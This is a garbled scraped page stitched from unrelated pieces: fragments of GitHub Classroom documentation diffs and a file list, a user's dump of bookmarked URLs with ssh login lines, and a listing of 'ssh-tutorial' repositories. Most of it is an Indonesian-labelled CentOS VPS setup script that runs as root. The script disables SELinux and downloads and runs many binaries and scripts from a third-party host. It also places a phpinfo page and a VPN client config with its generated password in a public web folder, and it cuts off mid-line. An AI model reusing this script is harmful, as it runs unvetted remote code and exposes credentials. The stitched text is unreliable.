reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review. ![Classroom in list of classrooms for an organization](/assets/images/help/classroom/click-classroom-in-list.png) {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**. ![Review button for assignment in list of submissions for an assignment](/assets/images/help/classroom/assignments-click-review-button.png) 1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %} ![Classroom](/assets/images/help/classroom/classroom-hero.png) ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment. ![Classroom roster](/assets/images/help/classroom/roster-hero.png) ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**. !["New classroom" button](/assets/images/help/classroom/click-new-classroom-button.png) {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." !["Import from a learning management system" button](/assets/images/help/classroom/click-import-from-a-learning-management-system-button.png) 1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers. ![Text field for typing student identifiers and "Upload a CSV or text file" button](/assets/images/help/classroom/type-or-upload-student-identifiers.png) 1. Click **Create roster**. !["Create roster" button](/assets/images/help/classroom/click-create-roster-button.png) ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**. !["Update students" button to the right of "Classroom roster" heading above list of students](/assets/images/help/classroom/click-update-students-button.png) 1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**. ![Modal for choosing method of adding students to classroom](/assets/images/help/classroom/classroom-add-students-to-your-roster.png) ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom. ![Text field under "Classroom name" for typing classroom name](/assets/images/help/classroom/settings-type-classroom-name.png) 1. Click **Rename classroom**. !["Rename classroom" button](/assets/images/help/classroom/settings-click-rename-classroom-button.png) ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**. ![Drop-down menu from horizontal kebab icon and "Archive" menu item](/assets/images/help/classroom/use-drop-down-then-click-archive.png) 1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**. ![Drop-down menu from horizontal kebab icon and "Unarchive" menu item](/assets/images/help/classroom/use-drop-down-then-click-unarchive.png) ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**. !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button.png) 1. Read the warnings, then click **Delete roster**. !["Delete roster" button under "Delete this roster" in "Students" tab for a classroom](/assets/images/help/classroom/students-click-delete-roster-button-in-modal.png) ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**. !["Delete repository" button](/assets/images/help/classroom/click-delete-classroom-button.png) 1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete. ![Modal for deleting a classrom with warnings and text field for classroom name](/assets/images/help/classroom/delete-classroom-modal-with-warning.png) 1. Click **Delete classroom**. !["Delete classroom" button](/assets/images/help/classroom/delete-classroom-click-delete-classroom-button.png) 22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**. !["View IDE" button for submission using an online IDE](/assets/images/help/classroom/assignments-click-view-ide.png) 8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 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lib/redirects/get-docs-path-from-developer-path.js 41 lib/redirects/precompile.js 231 lib/rest/static/decorated/api.github.com.json 495 lib/rest/static/dereferenced/api.github.com.deref.json 17 lib/rewrite-local-links.js 10 lib/site-data.js 24 lib/warm-server.js 5 middleware/breadcrumbs.js 38 middleware/categories-for-support-team.js 6 middleware/contextualizers/early-access-links.js 103 middleware/csp.js 69 middleware/early-access-breadcrumbs.js 1 middleware/index.js 45 package-lock.json 3 package.json 4 script/check-s3-images.js 4 script/early-access/clone-locally 41 script/early-access/create-branch 7 server.js 2 stylesheets/article.scss 4 tests/browser/browser.js 10 tests/content/category-pages.js 2 tests/content/crowdin-config.js 3 tests/content/featured-links.js 5 tests/content/glossary.js 42 tests/content/remove-liquid-statements.js 39 tests/content/site-data-references.js 4 tests/content/site-data.js 22 tests/fixtures/rest-redirects.json 10 tests/graphql/build-changelog-test.js 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    From user sfedfcv

  • threeng / linuxfoundation.org

    ssh-tutorial, linuxfoundation http://feeds2.feedburner.com/Command-line-fu http://steve-jansen.github.io/guides/windows-batch-scripting/part-5-if-then-conditionals.html https://www.podfeet.com/blog/2019/07/nc-742/ https://blog.gaijinpot.com/netflix-japan-10-series-to-binge-in-2019/ メッセージ送受信用 格納場所 タスクの名前 https://www.semanticscholar.org/paper/Chapter-2-BASIC-CONCEPTS-OF-REAL-TIME-OPERATING-Rammig-Ditze/5ca369031afd1909b674dfa20c2fc336821ef292 find . -name '*.c' -o -name '*.h' -o -name '*.S' > cscope.files https://blog.gaijinpot.com/gpod-20-best-podcasts-japan/ https://www.tofugu.com/japanese/onyomi-kunyomi/ https://www.behindthename.com/glossary/view/nanori_reading Setsubun (節分) 即位礼正殿の儀 https://vi.wikipedia.org/wiki/Tu%E1%BA%A7n_l%E1%BB%85_V%C3%A0ng_(Nh%E1%BA%ADt_B%E1%BA%A3n) https://a0gustinus.wordpress.com/2013/06/01/browsing-source-code-in-linux-vimcscope/ https://class.ece.uw.edu/474/peckol/doc/FreeRTOSPaper-1.pdf https://class.ece.uw.edu/474/peckol/doc/ https://class.ece.uw.edu/474/peckol/assignments/assignments.html http://cscope.sourceforge.net/cscope_vim_tutorial.html https://stackoverflow.com/questions/6450265/vim-cannot-connect-to-cscope-database https://blog.hackster.io/benchmarking-tensorflow-and-tensorflow-lite-on-the-raspberry-pi-43f51b796796. https://preshing.com/20130618/atomic-vs-non-atomic-operations/ https://www.embedded.com/electronics-blogs/break-points/4025683/Microkernel-vs-monolithichttps://nptel.ac.in/courses/106105086/pdf/module5.pdf https://www.softwaretestinghelp.com/unix-vs-linux/ https://nptel.ac.in/courses/106105036/24 http://dev.ti.com/tirex/content/simplelink_academy_cc2640r2sdk_1_12_00_00/modules/freertos_basics/freertos_basics.html https://nptel.ac.in/courses/106108101/ http://dev.ti.com/tirex/content/simplelink_academy_cc2640r2sdk_1_12_00_00/modules/rtos_concepts/rtos_concepts.html https://www.semanticscholar.org/paper/Chapter-2-BASIC-CONCEPTS-OF-REAL-TIME-OPERATING-Rammig-Ditze/5ca369031afd1909b674dfa20c2fc336821ef292 https://www.cse.wustl.edu/~lu/cse467s/ https://www.geeksforgeeks.org/last-minute-notes-operating-systems/ https://www.geeksforgeeks.org/difference-between-time-sharing-os-and-real-time-os/ https://happilyembedded.wordpress.com/2015/10/23/rtos-conecpts-kernel-objects/ https://elinux.org/R-Car https://techgearoid.com/articles/component-of-a-processor-that-holds-instructions-waiting-to-be-processed-by-the-alu/ https://www.aosabook.org/en/freertos.html https://community.arm.com/developer/ip-products/system/f/embedded-forum/6860/i-want-to-learn-rtos-in-arm-cortex-m-processors https://developer.arm.com/architectures/learn-the-architecture/debugger-usage https://en.wikibooks.org/wiki/Microprocessor_Design https://www.scss.tcd.ie/~jones/vivio/vivio.htm https://developer.arm.com/docs/dui0774/latest/compiler-command-line-options https://review.opendev.org/Documentation/intro-quick.htmlyou’ll never get across the street – don’t even try. In Vietnam, hmmm, there’s a challenge. Moses parting the Red Sea was an amateur compared to anyone crossing a major boulevard in Saigon with 500 million motorcycle drivers (even more than in Italy) who think a Red light is an amusing diversion. https://forum.pjrc.com/threads/26411-FreeRTOS-8-0-1-for-Teensy-3-x-Due-and-AVR-boards https://learn.adafruit.com/what-is-linux https://learn.adafruit.com/what-is-linux https://www.sanfoundry.com/operating-system-mcqs-threads-ult-klt/ https://www.embedded.com/design/operating-systems/4371651/Comparing-the-real-time-scheduling-policies-of-the-Linux-kernel-and-an-RTOS- http://dejazzer.com/coen4720/lectures.html https://class.ece.uw.edu/474/peckol/assignments/assignments.html https://sourceforge.net/projects/p7zip/files/latest/download https://www.decathlon.vn/vi/p/8391963_dong-ho-onmove-500-connected-gps-voi-vong-tay-do-nhip-tim-den-xanh-la-cay.html#our_promise_banner http://www.denx.de/ https://j-talk.com/bwksmch https://j-talk.com/tqbccpn ssh https://customercare.geonaute.com/hc/en-gb/sections/201652152-W500-M-SWIP-timer-watch [email protected] ssh [email protected] ssh [email protected]@52.163.118.83 https://portal.azure.com/#home https://www.automotivelinux.org/announcements/2019/04/30/cloudbees-crave-io-fpt-software-and-github-join-automotive-grade-linux-to-support-shared-technology-development-for-in-car-technology https://www.automotivelinux.org/announcements/2018/01/10/automotive-grade-linux-hits-road-globally-toyota-amazon-alexa-joins-agl-support-voice-recognition https://www.nikkei.com/article/DGXMZO44911880W9A510C1MM8000/ http://www.taipeitimes.com/News/biz/archives/2019/05/24/2003715676 ​https://www.reuters.com/article/us-huawei-tech-usa-tsmc/taiwans-tsmc-says-chip-shipments-to-huawei-not-affected-by-u-s-ban-idUSKCN1ST08O https://www.arm.com/company/news/2019/05/delivering-next-generation-ai-experiences-for-the-5g-world https://www.eetimes.com/document.asp?doc_id=1334746 https://nvidianews.nvidia.com/news/nvidia-launches-edge-computing-platform-to-bring-real-time-ai-to-global-industries https://www.yoctoproject.org/docs/ How connect with Wayland and draw an image on screen. http://docplayer.net/51750275-Ui-and-graphic-eg-ivi-system-home-screen.html https://wayland.freedesktop.org/architecture.html https://en.wikipedia.org/wiki/Wayland_(display_server_protocol) http://manpages.ubuntu.com/manpages/bionic/man5/weston.ini.5.html https://jan.newmarch.name/Wayland/index.html https://learn.freecodecamp.org/responsive-web-design/basic-html-and-html5/say-hello-to-html-elements/ https://toidicodedao.com/2016/08/11/lap-trinh-va-nau-an/ https://toidicodedao.com/2017/09/07/chia-se-cuoc-song-ben-singapore/ https://toidicodedao.com/2015/08/06/tao-dong-luc-hoc-tap-va-lam-viec-suc-manh-cua-thoi-quen/ https://old.viettelpost.com.vn/Tracking?KEY=489172014 https://tinhte.vn/threads/decathlon-mo-them-cua-hang-quy-mo-lon-tai-aeon-mall-tan-phu-rat-nhieu-do-xin-gia-hop-ly.2968043/ uboot, mmc, sdcard OMX, GST, EAVB, WAYLAND. GFX, IMGTEC DTV DVD https://github.com/pyusb/pyusb https://github.com/python-ivi/python-usbtmc https://github.com/python-ivi/python-usbtmc https://www.youtube.com/watch?v=6vpWf6zvdGg https://www.thedrive.com/tech/28067/nissan-takes-on-tesla-with-hands-free-propilot-2-0 https://newsroom.nissan-global.com/releases/nissan-to-equip-new-skyline-with-worlds-first-next-gen-driver-assistance-system https://toidicodedao.com/2019/05/07/tam-biet-algomerchant-startup-dau-tien/ https://www.oppia.org/explore/9 https://www.oppia.org/search/find?q=&category=(%22Algorithms%22%20OR%20%22Computing%22%20OR%20%22Programming%22) https://github.com/oppia/oppia/wiki/Hacktoberfest-2018 https://en.wikipedia.org/wiki/Comparison_of_continuous_integration_software https://github.com/CommandLineHeroes/hero-engine https://podcasts.google.com/?feed=aHR0cHM6Ly9mZWVkcy5wYWNpZmljLWNvbnRlbnQuY29tL2NvbW1hbmRsaW5laGVyb2Vz https://en.wikipedia.org/wiki/Kernel-Mode_Driver_Framework Desktop_Window_Manager https://commandlineheroes.simplecast.fm/episodes Graphics_Device_Interface https://developer.arm.com/ip-products/processors/cortex-a/cortex-a9 Compositing_window_manager V1 https://en.wikipedia.org/wiki/Display_server Desktop_environment https://docs.microsoft.com/en-us/powershell/scripting/learn/using-familiar-command-names?view=powershell-6 XFree86 Gnome https://www.difference.wiki/windows-95-vs-dos/ https://www.os-book.com/OS10/bib-dir/ CTSS - CP/M - OS/360 Eric Raymond Revenge of the Hackers pdf https://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=2&ved=2ahUKEwinjuyHu4jiAhVZA4gKHSGpDE8QFjABegQIARAC&url=http%3A%2F%2Fciteseerx.ist.psu.edu%2Fviewdoc%2Fdownload%3Fdoi%3D10.1.1.103.2799%26rep%3Drep1%26type%3Dpdf&usg=AOvVaw3Ir3WJWWdym4kyKSimNtGK https://nakamotoinstitute.org/static/docs/taoup.pdf https://www.slideshare.net/featured/category/ https://www.youtube.com/watch?v=DbGw-8r4bOU https://git.seveas.net/the-meaning-of-refs-and-refspecs.html V2 https://www.atlassian.com/git/tutorials/refs-and-the-reflog ref: https://stackoverflow.com/questions/1526471/git-difference-between-branchname-and-refs-head-branchname https://google.github.io/styleguide/shell.xml https://www.iso.org/obp/ui/#iso:std:iso:9001:ed-5:v1:en https://en.wikibooks.org/wiki/Shell_Programming https://devhints.io https://dev.to/hamza/vim-for-starters---the-minimum-you-need-to-know-3ob https://www.cardekho.com/tata/harrier https://en.wikibooks.org/wiki/Korean/RWP/Lesson_1 https://www.academia.edu/ https://www.eetimes.com/document.asp?doc_id=1334302# https://www.saromalang.com/2012/08/phat-am-katakana.html http://j-talk.com https://lists.yoctoproject.org/listinfo https://sachvui.com/the-loai/sach-hoc-ngoai-ngu.html http://www.tutorialspoint.com/unix_commands/ https://www.slideshare.net/saroma/japan-prefectures lm7805 https://www.techulator.com/resources/10562-Make-your-own-Solar-mobile-charger.aspx https://hshop.vn/products/pin-nang-luong-mat-troi-solar-panel-9v-2w https://dev.to/hamza/vim-for-starters---the-minimum-you-need-to-know-3ob

    From user threeng

    Home Page: https://linuxjourney.com/ http://www.proe.vn/raspberry-pi-lithium-battery-power-pack-4000mah_p1_1-1_2-1_3-722_4-467_9-1_11-20_12-2_13-73.html

  • tyrende / sshserver

    ssh-tutorial, This is a tutorial on how to build a basic SSH Server in C#, but you are welcome to try following in any language.

    From user tyrende

  • vpaproject / centos6.sh

    ssh-tutorial, #!/bin/bash # initialisasi var OS=`uname -p`; # go to root cd # disable se linux echo 0 > /selinux/enforce sed -i 's/SELINUX=enforcing/SELINUX=disable/g' /etc/sysconfig/selinux # set locale sed -i 's/AcceptEnv/#AcceptEnv/g' /etc/ssh/sshd_config service sshd restart # disable ipv6 echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6 sed -i '$ i\echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6' /etc/rc.local sed -i '$ i\echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6' /etc/rc.d/rc.local # install wget and curl yum -y install wget curl # setting repo wget http://script.fawzya.net/centos/app/epel-release-6-8.noarch.rpm wget http://script.fawzya.net/centos/app/remi-release-6.rpm rpm -Uvh epel-release-6-8.noarch.rpm rpm -Uvh remi-release-6.rpm if [ "$OS" == "x86_64" ]; then wget http://script.fawzya.net/centos/app/rpmforge.rpm rpm -Uvh rpmforge.rpm else wget http://script.fawzya.net/centos/app/rpmforge.rpm rpm -Uvh rpmforge.rpm fi sed -i 's/enabled = 1/enabled = 0/g' /etc/yum.repos.d/rpmforge.repo sed -i -e "/^\[remi\]/,/^\[.*\]/ s|^\(enabled[ \t]*=[ \t]*0\\)|enabled=1|" /etc/yum.repos.d/remi.repo rm -f *.rpm # remove unused yum -y remove sendmail; yum -y remove httpd; yum -y remove cyrus-sasl # update yum -y update # install webserver yum -y install nginx php-fpm php-cli service nginx restart service php-fpm restart chkconfig nginx on chkconfig php-fpm on # install essential package yum -y install rrdtool screen iftop htop nmap bc nethogs openvpn vnstat ngrep mtr git zsh mrtg unrar rsyslog rkhunter mrtg net-snmp net-snmp-utils expect nano bind-utils yum -y groupinstall 'Development Tools' yum -y install cmake yum -y --enablerepo=rpmforge install axel sslh ptunnel unrar # matiin exim service exim stop chkconfig exim off # setting vnstat vnstat -u -i eth0 echo "MAILTO=root" > /etc/cron.d/vnstat echo "*/5 * * * * root /usr/sbin/vnstat.cron" >> /etc/cron.d/vnstat service vnstat restart chkconfig vnstat on # install screenfetch cd wget http://script.fawzya.net/centos/screenfetch-dev mv screenfetch-dev /usr/bin/screenfetch chmod +x /usr/bin/screenfetch echo "clear" >> .bash_profile echo "screenfetch" >> .bash_profile # install webserver cd wget -O /etc/nginx/nginx.conf "http://script.fawzya.net/centos/conf/nginx.conf" sed -i 's/www-data/nginx/g' /etc/nginx/nginx.conf mkdir -p /home/vps/public_html echo "<pre>Setup by Fawzya.Net</pre>" > /home/vps/public_html/index.html echo "<?php phpinfo(); ?>" > /home/vps/public_html/info.php rm /etc/nginx/conf.d/* wget -O /etc/nginx/conf.d/vps.conf "http://script.fawzya.net/centos/conf/vps.conf" sed -i 's/apache/nginx/g' /etc/php-fpm.d/www.conf chmod -R +rx /home/vps service php-fpm restart service nginx restart # install openvpn wget -O /etc/openvpn/openvpn.tar "http://script.fawzya.net/centos/conf/openvpn-debian.tar" cd /etc/openvpn/ tar xf openvpn.tar wget -O /etc/openvpn/1194.conf "http://script.fawzya.net/centos/conf/1194-centos.conf" if [ "$OS" == "x86_64" ]; then wget -O /etc/openvpn/1194.conf "http://script.fawzya.net/centos/conf/1194-centos64.conf" fi wget -O /etc/iptables.up.rules "http://script.fawzya.net/centos/conf/iptables.up.rules" sed -i '$ i\iptables-restore < /etc/iptables.up.rules' /etc/rc.local sed -i '$ i\iptables-restore < /etc/iptables.up.rules' /etc/rc.d/rc.local MYIP=`dig +short myip.opendns.com @resolver1.opendns.com`; MYIP2="s/xxxxxxxxx/$MYIP/g"; sed -i $MYIP2 /etc/iptables.up.rules; sed -i 's/venet0/eth0/g' /etc/iptables.up.rules iptables-restore < /etc/iptables.up.rules sysctl -w net.ipv4.ip_forward=1 sed -i 's/net.ipv4.ip_forward = 0/net.ipv4.ip_forward = 1/g' /etc/sysctl.conf service openvpn restart chkconfig openvpn on cd # configure openvpn client config cd /etc/openvpn/ wget -O /etc/openvpn/1194-client.ovpn "http://script.fawzya.net/centos/open-vpn.conf" sed -i $MYIP2 /etc/openvpn/1194-client.ovpn; PASS=`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 15 | head -n 1`; useradd -M -s /bin/false Fawzya echo "Fawzya:$PASS" | chpasswd echo "Fawzya" > pass.txt echo "$PASS" >> pass.txt tar cf client.tar 1194-client.ovpn pass.txt cp client.tar /home/vps/public_html/ cp 1194-client.ovpn /home/vps/public_html/ cd # install badvpn wget -O /usr/bin/badvpn-udpgw "http://script.fawzya.net/centos/conf/badvpn-udpgw" if [ "$OS" == "x86_64" ]; then wget -O /usr/bin/badvpn-udpgw "http://script.fawzya.net/centos/conf/badvpn-udpgw64" fi sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7300' /etc/rc.local sed -i '$ i\screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7300' /etc/rc.d/rc.local chmod +x /usr/bin/badvpn-udpgw screen -AmdS badvpn badvpn-udpgw --listen-addr 127.0.0.1:7300 # install mrtg cd /etc/snmp/ wget -O /etc/snmp/snmpd.conf "http://script.fawzya.net/centos/conf/snmpd.conf" wget -O /root/mrtg-mem.sh "http://script.fawzya.net/centos/conf/mrtg-mem.sh" chmod +x /root/mrtg-mem.sh service snmpd restart chkconfig snmpd on snmpwalk -v 1 -c public localhost | tail mkdir -p /home/vps/public_html/mrtg cfgmaker --zero-speed 100000000 --global 'WorkDir: /home/vps/public_html/mrtg' --output /etc/mrtg/mrtg.cfg public@localhost curl "http://script.fawzya.net/centos/conf/mrtg.conf" >> /etc/mrtg/mrtg.cfg sed -i 's/WorkDir: \/var\/www\/mrtg/# WorkDir: \/var\/www\/mrtg/g' /etc/mrtg/mrtg.cfg sed -i 's/# Options\[_\]: growright, bits/Options\[_\]: growright/g' /etc/mrtg/mrtg.cfg indexmaker --output=/home/vps/public_html/mrtg/index.html /etc/mrtg/mrtg.cfg echo "0-59/5 * * * * root env LANG=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg" > /etc/cron.d/mrtg LANG=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg LANG=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg LANG=C /usr/bin/mrtg /etc/mrtg/mrtg.cfg cd # setting port ssh sed -i '/Port 22/a Port 143' /etc/ssh/sshd_config sed -i 's/#Port 22/Port 22/g' /etc/ssh/sshd_config service sshd restart chkconfig sshd on # install dropbear yum -y install dropbear echo "OPTIONS=\"-p 109 -p 110 -p 443\"" > /etc/sysconfig/dropbear echo "/bin/false" >> /etc/shells service dropbear restart chkconfig dropbear on # install vnstat gui cd /home/vps/public_html/ wget http://script.fawzya.net/centos/app/vnstat_php_frontend-1.5.1.tar.gz tar xf vnstat_php_frontend-1.5.1.tar.gz rm vnstat_php_frontend-1.5.1.tar.gz mv vnstat_php_frontend-1.5.1 vnstat cd vnstat sed -i "s/\$iface_list = array('eth0', 'sixxs');/\$iface_list = array('eth0');/g" config.php sed -i "s/\$language = 'nl';/\$language = 'en';/g" config.php sed -i 's/Internal/Internet/g' config.php sed -i '/SixXS IPv6/d' config.php cd # install fail2ban yum -y install fail2ban service fail2ban restart chkconfig fail2ban on # install squid yum -y install squid wget -O /etc/squid/squid.conf "http://script.fawzya.net/centos/conf/squid-centos.conf" service squid restart service squid stop sed -i $MYIP2 /etc/squid/squid.conf; chkconfig squid on # install webmin cd wget http://script.fawzya.net/centos/app/webmin-1.670-1.noarch.rpm rpm -U webmin-1.710-1.noarch.rpm rm webmin-1.710-1.noarch.rpm service webmin restart chkconfig webmin on # pasang bmon if [ "$OS" == "x86_64" ]; then wget -O /usr/bin/bmon "http://script.fawzya.net/centos/conf/bmon64" else wget -O /usr/bin/bmon "http://script.fawzya.net/centos/conf/bmon" fi chmod +x /usr/bin/bmon # block abuse cd wget script.fawzya.net/centos/block-abuse.sh chmod +x block-abuse.sh bash block-abuse.sh # downlaod script cd /usr/bin wget -O speedtest.py "script.fawzya.net/centos/speedtest.py" wget -O userlog "script.fawzya.net/centos/user-login.sh" wget -O userexpire "script.fawzya.net/centos/auto-expire.sh" wget -O usernew "script.fawzya.net/centos/create-user.sh" wget -O userlist "script.fawzya.net/centos/daftar-user.sh" wget -O trial "script.fawzya.net/centos/trial.sh" wget -O hapus "script.fawzya.net/centos/hapus.sh" echo "cat log-install.txt" | tee tutorial echo "speedtest.py --share" | tee speedtest # sett permission chmod +x userlog chmod +x userexpire chmod +x usernew chmod +x userlist chmod +x trial chmod +x hapus chmod +x tutorial chmod +x speedtest chmod +x speedtest.py cd # cron service crond start chkconfig crond on service crond stop echo "0 */12 * * * root /usr/bin/userexpire" > /etc/cron.d/user-expire echo "0 0 * * * root /usr/bin/reboot" > /etc/cron.d/reboot # set time GMT +7 ln -fs /usr/share/zoneinfo/Asia/Jakarta /etc/localtime # finalisasi chown -R nginx:nginx /home/vps/public_html service nginx start service php-fpm start service vnstat restart service openvpn restart service snmpd restart service sshd restart service dropbear restart service fail2ban restart service squid restart service webmin restart service crond start chkconfig crond on # info clear echo "Informasi Penggunaan SSH" | tee log-install.txt echo "===============================================" | tee -a log-install.txt echo "" | tee -a log-install.txt echo "Layanan yang diaktifkan" | tee -a log-install.txt echo "--------------------------------------" | tee -a log-install.txt echo "OpenVPN : TCP 1194 (client config : http://$MYIP/1194-client.ovpn)" | tee -a log-install.txt echo "Port OS : 22, 143" | tee -a log-install.txt echo "Port Dropbear : 109, 110, 443" | tee -a log-install.txt echo "SquidProxy : 8080 (limit to IP SSH)" | tee -a log-install.txt echo "badvpn : badvpn-udpgw port 7300" | tee -a log-install.txt echo "Webmin : http://$MYIP:10000/" | tee -a log-install.txt echo "vnstat : http://$MYIP/vnstat/" | tee -a log-install.txt echo "MRTG : http://$MYIP/mrtg/" | tee -a log-install.txt echo "Timezone : Asia/Jakarta" | tee -a log-install.txt echo "Fail2Ban : [on]" | tee -a log-install.txt echo "IPv6 : [off]" | tee -a log-install.txt echo "" | tee -a log-install.txt echo "Script tersedia" | tee -a log-install.txt echo "------" | tee -a log-install.txt echo "speedtest --share : untuk cek speed vps" | tee -a log-install.txt echo "userlog : untuk melihat user yang sedang login" | tee -a log-install.txt echo "trial : untuk membuat akun trial selama 1 